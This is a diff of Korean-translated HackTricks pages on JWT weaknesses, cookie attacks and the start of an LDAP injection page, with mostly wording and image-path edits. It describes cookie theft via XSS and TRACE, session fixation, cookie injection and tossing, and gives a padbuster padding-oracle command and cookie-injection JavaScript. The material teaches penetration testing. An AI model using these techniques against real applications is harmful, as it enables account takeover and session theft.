### ES256: 같은 nonce로 개인 키 노출
|
||||
### ES256: 동일한 nonce로 개인 키 노출
|
||||
|
||||
일부 애플리케이션이 ES256을 사용하고 같은 nonce를 사용하여 두 개의 jwt를 생성하는 경우, 개인 키를 복원할 수 있습니다.
|
||||
일부 애플리케이션이 ES256을 사용하고 동일한 nonce를 사용하여 두 개의 jwt를 생성하는 경우, 개인 키를 복원할 수 있습니다.
|
||||
|
||||
여기 예시가 있습니다: [ECDSA: 같은 nonce를 사용할 경우 개인 키 노출 (SECP256k1 사용)](https://asecuritysite.com/encryption/ecd5)
|
||||
여기 예시가 있습니다: [ECDSA: 동일한 nonce 사용 시 개인 키 노출 (SECP256k1 사용)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니다. 이는 토큰이 재전송되는 것을 방지하는 데 사용될 수 있습니다.\
|
||||
그러나 ID의 최대 길이가 4(0001-9999)인 상황을 상상해 보십시오. 요청 0001과 10001은 같은 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시키고 있다면, 이를 악용하여 **요청을 재전송**할 수 있습니다(각 성공적인 재전송 사이에 10000 요청을 보내야 함).
|
||||
그러나 ID의 최대 길이가 4(0001-9999)인 상황을 상상해 보십시오. 요청 0001과 10001은 동일한 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시키고 있다면, 이를 악용하여 **요청을 재전송**할 수 있습니다(각 성공적인 재전송 사이에 10000 요청을 보내야 함).
|
||||
|
||||
### JWT 등록 클레임
|
||||
|
||||
|
@ -246,13 +246,13 @@ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니
|
|||
|
||||
**교차 서비스 릴레이 공격**
|
||||
|
||||
일부 웹 애플리케이션이 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. JWT 서비스에 의해 한 클라이언트를 위해 생성된 토큰이 같은 JWT 서비스의 다른 클라이언트에 의해 수용된 사례가 기록되었습니다. 제3자 서비스에 의해 JWT의 발급 또는 갱신이 관찰되면, 같은 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 계정을 등록할 가능성을 조사해야 합니다. 그런 다음, 얻은 토큰을 대상으로 요청하여 수용되는지 확인하는 시도를 해야 합니다.
|
||||
일부 웹 애플리케이션이 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. JWT 서비스에 의해 한 클라이언트를 위해 생성된 토큰이 동일한 JWT 서비스의 다른 클라이언트에 의해 수용된 사례가 기록되었습니다. 제3자 서비스에 의해 JWT의 발급 또는 갱신이 관찰되면, 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 계정을 등록할 가능성을 조사해야 합니다. 그런 다음, 얻은 토큰을 대상으로 요청하여 수용되는지 확인하는 시도를 해야 합니다.
|
||||
|
||||
* 당신의 토큰이 수용되면 심각한 문제가 발생할 수 있으며, 이는 모든 사용자의 계정을 스푸핑할 수 있는 가능성을 허용할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트에 대한 허가가 필요할 수 있으며, 이는 법적 회색 영역에 들어갈 수 있음을 유의해야 합니다.
|
||||
* 귀하의 토큰이 수용되면 심각한 문제가 발생할 수 있으며, 이는 모든 사용자의 계정을 스푸핑할 수 있는 가능성을 허용할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트에 대한 허가가 필요할 수 있으며, 이는 법적 회색 영역에 들어갈 수 있음을 유의해야 합니다.
|
||||
|
||||
**토큰의 만료 확인**
|
||||
**토큰 만료 확인**
|
||||
|
||||
토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 신중한 처리가 필요합니다. 많은 경우, 다른 사용자의 JWT를 캡처하고 재전송하면 해당 사용자를 가장할 수 있습니다. JWT RFC는 토큰의 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화할 것을 권장합니다. 또한, 이 값을 처리하고 만료된 토큰을 거부하는 관련 검사를 애플리케이션에서 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 지난 후 재전송하는 것이 좋습니다. 타임스탬프 파싱 및 만료 확인(UTC의 타임스탬프 포함)을 포함한 토큰의 내용은 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
|
||||
토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 신중한 처리가 필요합니다. 많은 경우, 다른 사용자의 JWT를 캡처하고 재전송하면 해당 사용자를 가장할 수 있습니다. JWT RFC는 토큰의 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화할 것을 권장합니다. 또한, 이 값을 처리하고 만료된 토큰을 거부하는 관련 검사를 애플리케이션에서 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 지난 후 재전송하는 것이 좋습니다. 타임스탬프 파싱 및 만료 확인(UTC의 타임스탬프 포함)을 포함한 토큰의 내용을 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
|
||||
|
||||
* 애플리케이션이 여전히 토큰을 검증하는 경우 보안 위험이 존재할 수 있으며, 이는 토큰이 결코 만료되지 않을 수 있음을 의미할 수 있습니다.
|
||||
|
||||
|
@ -260,23 +260,23 @@ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구술 필요_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우고 연습하기:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Cookies Hacking
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
쿠키는 사용자의 브라우저에서 동작을 제어하는 여러 속성을 가지고 있습니다. 다음은 이러한 속성에 대한 설명입니다:
|
||||
|
@ -26,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### Domain
|
||||
|
||||
쿠키를 받을 호스트는 `Domain` 속성에 의해 지정됩니다. 기본적으로 이는 쿠키를 발급한 호스트로 설정되며, 하위 도메인은 포함되지 않습니다. 그러나 `Domain` 속성이 명시적으로 설정되면 하위 도메인도 포함됩니다. 이는 하위 도메인 간의 쿠키 공유가 필요한 시나리오에서 유용한 덜 제한적인 옵션입니다. 예를 들어, `Domain=mozilla.org`로 설정하면 `developer.mozilla.org`와 같은 하위 도메인에서 쿠키에 접근할 수 있습니다.
|
||||
쿠키를 받을 호스트는 `Domain` 속성에 의해 지정됩니다. 기본적으로 이는 쿠키를 발급한 호스트로 설정되며, 하위 도메인은 포함되지 않습니다. 그러나 `Domain` 속성이 명시적으로 설정되면 하위 도메인도 포함됩니다. 이는 하위 도메인 간의 쿠키 공유가 필요한 시나리오에서 유용한 덜 제한적인 옵션입니다. 예를 들어, `Domain=mozilla.org`로 설정하면 `developer.mozilla.org`와 같은 하위 도메인에서도 쿠키에 접근할 수 있습니다.
|
||||
|
||||
### Path
|
||||
|
||||
|
@ -34,7 +33,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### Ordering Rules
|
||||
|
||||
두 개의 쿠키가 동일한 이름을 가질 때, 전송을 위해 선택되는 쿠키는 다음에 따라 결정됩니다:
|
||||
두 개의 쿠키가 동일한 이름을 가질 때, 전송할 쿠키는 다음에 따라 선택됩니다:
|
||||
|
||||
* 요청된 URL에서 가장 긴 경로와 일치하는 쿠키.
|
||||
* 경로가 동일할 경우 가장 최근에 설정된 쿠키.
|
||||
|
@ -46,7 +45,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
* **Lax**: 제3자 웹사이트에서 시작된 GET 요청과 함께 쿠키가 전송될 수 있도록 허용합니다.
|
||||
* **None**: 모든 제3자 도메인에서 쿠키가 전송될 수 있도록 허용합니다.
|
||||
|
||||
쿠키를 구성할 때 이러한 속성을 이해하면 다양한 시나리오에서 예상대로 동작하도록 보장할 수 있습니다.
|
||||
쿠키를 구성할 때 이러한 속성을 이해하면 다양한 시나리오에서 쿠키가 예상대로 동작하도록 보장할 수 있습니다.
|
||||
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
|
@ -72,9 +71,9 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
|
|||
|
||||
#### **Bypasses**
|
||||
|
||||
* 페이지가 요청의 응답으로 쿠키를 **전송하는 경우** (예: **PHPinfo** 페이지에서), XSS를 악용하여 이 페이지에 요청을 보내고 응답에서 **쿠키를 훔칠 수 있습니다** (예제는 [여기](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)에서 확인하세요).
|
||||
* 서버의 응답으로 **TRACE** **HTTP** 요청을 사용하여 우회할 수 있습니다 (이 HTTP 메서드가 사용 가능한 경우). 이 기술은 **Cross-Site Tracking**이라고 합니다.
|
||||
* 이 기술은 **모던 브라우저에서 JS로 TRACE 요청을 보내는 것을 허용하지 않음으로써 방지됩니다**. 그러나 IE6.0 SP2에서 `\r\nTRACE`를 보내는 것과 같은 특정 소프트웨어에서 우회 방법이 발견되었습니다.
|
||||
* 페이지가 요청의 응답으로 쿠키를 **전송하는 경우** (예: **PHPinfo** 페이지에서), XSS를 악용하여 이 페이지에 요청을 보내고 응답에서 **쿠키를 훔칠 수 있습니다** (예제는 [여기](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)에서 확인할 수 있습니다).
|
||||
* **TRACE** **HTTP** 요청으로 우회할 수 있습니다. 서버의 응답은 전송된 쿠키를 반영합니다 (이 HTTP 메서드가 사용 가능한 경우). 이 기술은 **Cross-Site Tracking**이라고 합니다.
|
||||
* 이 기술은 **현대 브라우저에서 JS로 TRACE 요청을 보내는 것을 허용하지 않음으로써 방지됩니다**. 그러나 IE6.0 SP2와 같은 특정 소프트웨어에서 `\r\nTRACE`를 보내는 등의 우회 방법이 발견되었습니다.
|
||||
* 또 다른 방법은 브라우저의 제로/데이 취약점을 악용하는 것입니다.
|
||||
* 쿠키 항아리 오버플로우 공격을 수행하여 **HttpOnly 쿠키를 덮어쓸 수 있습니다**:
|
||||
|
||||
|
@ -86,16 +85,16 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
|
|||
|
||||
### Secure
|
||||
|
||||
요청은 **HTTP** 요청이 보안 채널(일반적으로 **HTTPS**)을 통해 전송될 때만 쿠키를 **전송합니다**.
|
||||
요청은 **HTTP** 요청에서 쿠키를 **전송할 수 있는 경우**에만 보안 채널(일반적으로 **HTTPS**)을 통해 전송됩니다.
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
`__Secure-`로 접두사가 붙은 쿠키는 HTTPS로 보호되는 페이지와 함께 `secure` 플래그와 함께 설정되어야 합니다.
|
||||
`__Secure-`로 접두사가 붙은 쿠키는 HTTPS로 보호된 페이지와 함께 `secure` 플래그와 함께 설정되어야 합니다.
|
||||
|
||||
`__Host-`로 접두사가 붙은 쿠키는 여러 조건을 충족해야 합니다:
|
||||
|
||||
* `secure` 플래그와 함께 설정되어야 합니다.
|
||||
* HTTPS로 보호되는 페이지에서 유래해야 합니다.
|
||||
* HTTPS로 보호된 페이지에서 유래해야 합니다.
|
||||
* 도메인을 지정하는 것이 금지되어 하위 도메인으로의 전송을 방지합니다.
|
||||
* 이러한 쿠키의 경로는 `/`로 설정되어야 합니다.
|
||||
|
||||
|
@ -103,13 +102,13 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
|
|||
|
||||
### Overwriting cookies
|
||||
|
||||
따라서 `__Host-` 접두사가 붙은 쿠키의 보호 중 하나는 하위 도메인에서 덮어쓰는 것을 방지하는 것입니다. 예를 들어 [**Cookie Tossing attacks**](cookie-tossing.md)를 방지합니다. [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))에서 하위 도메인에서 __HOST- 접두사가 붙은 쿠키를 설정할 수 있는 방법이 제시되었습니다. 예를 들어, 파서를 속이기 위해 시작 부분이나 끝 부분에 "="를 추가하는 것입니다:
|
||||
따라서 `__Host-` 접두사가 붙은 쿠키의 보호 중 하나는 하위 도메인에서 덮어쓰는 것을 방지하는 것입니다. 예를 들어 [**Cookie Tossing attacks**](cookie-tossing.md)를 방지합니다. [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))에서 하위 도메인에서 __HOST- 접두사가 붙은 쿠키를 설정할 수 있는 방법이 제시되었습니다. 예를 들어, 시작 부분이나 끝 부분에 "="를 추가하여 파서를 속이는 방법입니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
또는 PHP에서는 쿠키 이름의 시작 부분에 **다른 문자를 추가하여** **밑줄** 문자로 대체되도록 하여 `__HOST-` 쿠키를 덮어쓸 수 있었습니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
|
@ -121,11 +120,11 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
|
|||
|
||||
### Session Hijacking
|
||||
|
||||
이 공격은 사용자의 쿠키를 훔쳐 애플리케이션 내에서 해당 계정에 무단으로 접근하는 것입니다. 공격자는 훔친 쿠키를 사용하여 합법적인 사용자를 가장할 수 있습니다.
|
||||
이 공격은 사용자의 쿠키를 훔쳐 애플리케이션 내에서 해당 계정에 무단으로 접근하는 것입니다. 훔친 쿠키를 사용하여 공격자는 합법적인 사용자를 가장할 수 있습니다.
|
||||
|
||||
### Session Fixation
|
||||
|
||||
이 시나리오에서 공격자는 피해자가 특정 쿠키를 사용하여 로그인하도록 속입니다. 애플리케이션이 로그인 시 새로운 쿠키를 할당하지 않으면, 원래 쿠키를 가진 공격자는 피해자를 가장할 수 있습니다. 이 기술은 피해자가 공격자가 제공한 쿠키로 로그인하는 데 의존합니다.
|
||||
이 시나리오에서 공격자는 피해자가 특정 쿠키를 사용하여 로그인하도록 속입니다. 애플리케이션이 로그인 시 새 쿠키를 할당하지 않으면, 원래 쿠키를 가진 공격자는 피해자를 가장할 수 있습니다. 이 기술은 피해자가 공격자가 제공한 쿠키로 로그인하는 데 의존합니다.
|
||||
|
||||
하위 도메인에서 **XSS를 발견했거나** 하위 도메인을 **제어하는 경우**, 읽어보세요:
|
||||
|
||||
|
@ -151,7 +150,7 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
|
|||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
이 공격은 로그인된 사용자가 현재 인증된 웹 애플리케이션에서 원하지 않는 작업을 수행하도록 강요합니다. 공격자는 취약한 사이트에 대해 자동으로 전송되는 쿠키를 악용할 수 있습니다.
|
||||
이 공격은 로그인된 사용자가 현재 인증된 웹 애플리케이션에서 원하지 않는 작업을 수행하도록 강요합니다. 공격자는 취약한 사이트에 대한 모든 요청과 함께 자동으로 전송되는 쿠키를 악용할 수 있습니다.
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
|
@ -169,7 +168,7 @@ document.cookie = `${name}=${value}`;
|
|||
|
||||
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
이로 인해 브라우저는 모든 웹 서버에서 `a`라는 이름과 `b`라는 값의 쿠키로 해석되는 쿠키 헤더를 전송하게 됩니다.
|
||||
이로 인해 브라우저는 모든 웹 서버에서 `a`라는 이름의 쿠키와 `b`라는 값으로 해석되는 쿠키 헤더를 전송하게 됩니다.
|
||||
|
||||
#### Chrome 버그: 유니코드 대리 코드 포인트 문제
|
||||
|
||||
|
@ -187,33 +186,33 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
```
|
||||
#### 쿠키 주입 취약점
|
||||
|
||||
(자세한 내용은 [원본 연구](https://blog.ankursundara.com/cookie-bugs/)를 참조하세요) 서버가 쿠키를 잘못 파싱하는 경우, 특히 Undertow, Zope 및 Python의 `http.cookie.SimpleCookie`와 `http.cookie.BaseCookie`를 사용하는 경우 쿠키 주입 공격의 기회를 제공합니다. 이러한 서버는 새로운 쿠키의 시작을 제대로 구분하지 못하여 공격자가 쿠키를 스푸핑할 수 있게 합니다:
|
||||
(자세한 내용은 [원본 연구](https://blog.ankursundara.com/cookie-bugs/)를 참조하세요) 서버가 쿠키를 잘못 파싱하는 경우, 특히 Undertow, Zope 및 Python의 `http.cookie.SimpleCookie`와 `http.cookie.BaseCookie`를 사용하는 경우 쿠키 주입 공격의 기회를 제공합니다. 이러한 서버는 새로운 쿠키의 시작을 적절히 구분하지 못하여 공격자가 쿠키를 스푸핑할 수 있게 합니다:
|
||||
|
||||
* Undertow는 세미콜론 없이 인용된 값 바로 뒤에 새로운 쿠키가 올 것으로 기대합니다.
|
||||
* Zope는 다음 쿠키를 파싱하기 위해 쉼표를 찾습니다.
|
||||
* Python의 쿠키 클래스는 공백 문자에서 파싱을 시작합니다.
|
||||
|
||||
이 취약점은 쿠키 기반 CSRF 보호에 의존하는 웹 애플리케이션에서 특히 위험합니다. 공격자가 스푸핑된 CSRF 토큰 쿠키를 주입할 수 있어 보안 조치를 우회할 수 있습니다. 이 문제는 Python의 중복 쿠키 이름 처리로 인해 악화되며, 마지막 발생이 이전 것을 덮어씁니다. 또한 불안전한 컨텍스트에서 `__Secure-` 및 `__Host-` 쿠키에 대한 우려를 불러일으키며, 쿠키가 스푸핑에 취약한 백엔드 서버로 전달될 때 권한 우회를 초래할 수 있습니다.
|
||||
이 취약점은 쿠키 기반 CSRF 보호에 의존하는 웹 애플리케이션에서 특히 위험합니다. 공격자는 스푸핑된 CSRF 토큰 쿠키를 주입하여 보안 조치를 우회할 수 있습니다. 이 문제는 Python의 중복 쿠키 이름 처리로 인해 악화되며, 마지막 발생이 이전 것을 덮어씁니다. 또한 불안전한 컨텍스트에서 `__Secure-` 및 `__Host-` 쿠키에 대한 우려를 불러일으키며, 쿠키가 스푸핑에 취약한 백엔드 서버로 전달될 때 권한 우회를 초래할 수 있습니다.
|
||||
|
||||
### 추가 취약한 쿠키 검사
|
||||
|
||||
#### **기본 검사**
|
||||
|
||||
* **로그인**할 때마다 **쿠키**가 **같은**지 확인합니다.
|
||||
* 로그아웃하고 같은 쿠키를 사용해 보세요.
|
||||
* 두 개의 장치(또는 브라우저)로 같은 계정에 같은 쿠키로 로그인해 보세요.
|
||||
* 로그아웃하고 동일한 쿠키를 사용해 보세요.
|
||||
* 두 개의 장치(또는 브라우저)로 동일한 계정에 동일한 쿠키로 로그인해 보세요.
|
||||
* 쿠키에 정보가 있는지 확인하고 수정해 보세요.
|
||||
* 거의 같은 사용자 이름으로 여러 계정을 생성해 보고 유사성을 확인하세요.
|
||||
* "**기억하기**" 옵션이 있는지 확인하고 어떻게 작동하는지 살펴보세요. 존재하고 취약할 수 있다면, 다른 쿠키 없이 항상 **기억하기** 쿠키를 사용하세요.
|
||||
* 거의 동일한 사용자 이름으로 여러 계정을 생성해 보고 유사성을 확인하세요.
|
||||
* "**기억하기**" 옵션이 있는지 확인하고 어떻게 작동하는지 살펴보세요. 존재하고 취약할 수 있는 경우, 다른 쿠키 없이 항상 **기억하기** 쿠키를 사용하세요.
|
||||
* 비밀번호를 변경한 후에도 이전 쿠키가 작동하는지 확인하세요.
|
||||
|
||||
#### **고급 쿠키 공격**
|
||||
|
||||
로그인할 때 쿠키가 동일(또는 거의 동일)하게 유지된다면, 이는 쿠키가 귀하의 계정의 일부 필드(아마도 사용자 이름)와 관련이 있음을 의미합니다. 그러면 다음을 시도할 수 있습니다:
|
||||
로그인할 때 쿠키가 동일하게 유지되거나 거의 동일하다면, 이는 쿠키가 귀하의 계정의 일부 필드(아마도 사용자 이름)와 관련이 있음을 의미합니다. 그런 다음 다음을 시도할 수 있습니다:
|
||||
|
||||
* 매우 **유사한** 사용자 이름으로 많은 **계정**을 생성하고 알고리즘이 어떻게 작동하는지 **추측**해 보세요.
|
||||
* **사용자 이름을 브루트포스**해 보세요. 쿠키가 사용자 이름에 대한 인증 방법으로만 저장된다면, 사용자 이름 "**Bmin**"으로 계정을 생성하고 쿠키의 모든 **비트**를 **브루트포스**할 수 있습니다. 시도할 쿠키 중 하나는 "**admin**"에 속하는 쿠키가 될 것입니다.
|
||||
* **패딩 오라클**을 시도해 보세요 (쿠키의 내용을 복호화할 수 있습니다). **패드버스터**를 사용하세요.
|
||||
* **패딩 오라클**을 시도해 보세요(쿠키의 내용을 복호화할 수 있습니다). **패드버스터**를 사용하세요.
|
||||
|
||||
**패딩 오라클 - 패드버스터 예제**
|
||||
```bash
|
||||
|
@ -237,7 +236,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
|
||||
**CBC-MAC**
|
||||
|
||||
쿠키에 어떤 값이 있을 수 있고 CBC를 사용하여 서명될 수 있습니다. 그러면 값의 무결성은 동일한 값을 사용하여 CBC로 생성된 서명입니다. IV로 널 벡터를 사용하는 것이 권장되므로, 이러한 유형의 무결성 검사는 취약할 수 있습니다.
|
||||
쿠키에 어떤 값이 있을 수 있으며 CBC를 사용하여 서명될 수 있습니다. 그러면 값의 무결성은 동일한 값을 사용하여 CBC로 생성된 서명입니다. IV로 널 벡터를 사용하는 것이 권장되므로, 이러한 유형의 무결성 검사는 취약할 수 있습니다.
|
||||
|
||||
**공격**
|
||||
|
||||
|
@ -263,10 +262,9 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -3,8 +3,8 @@
|
|||
## LDAP Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
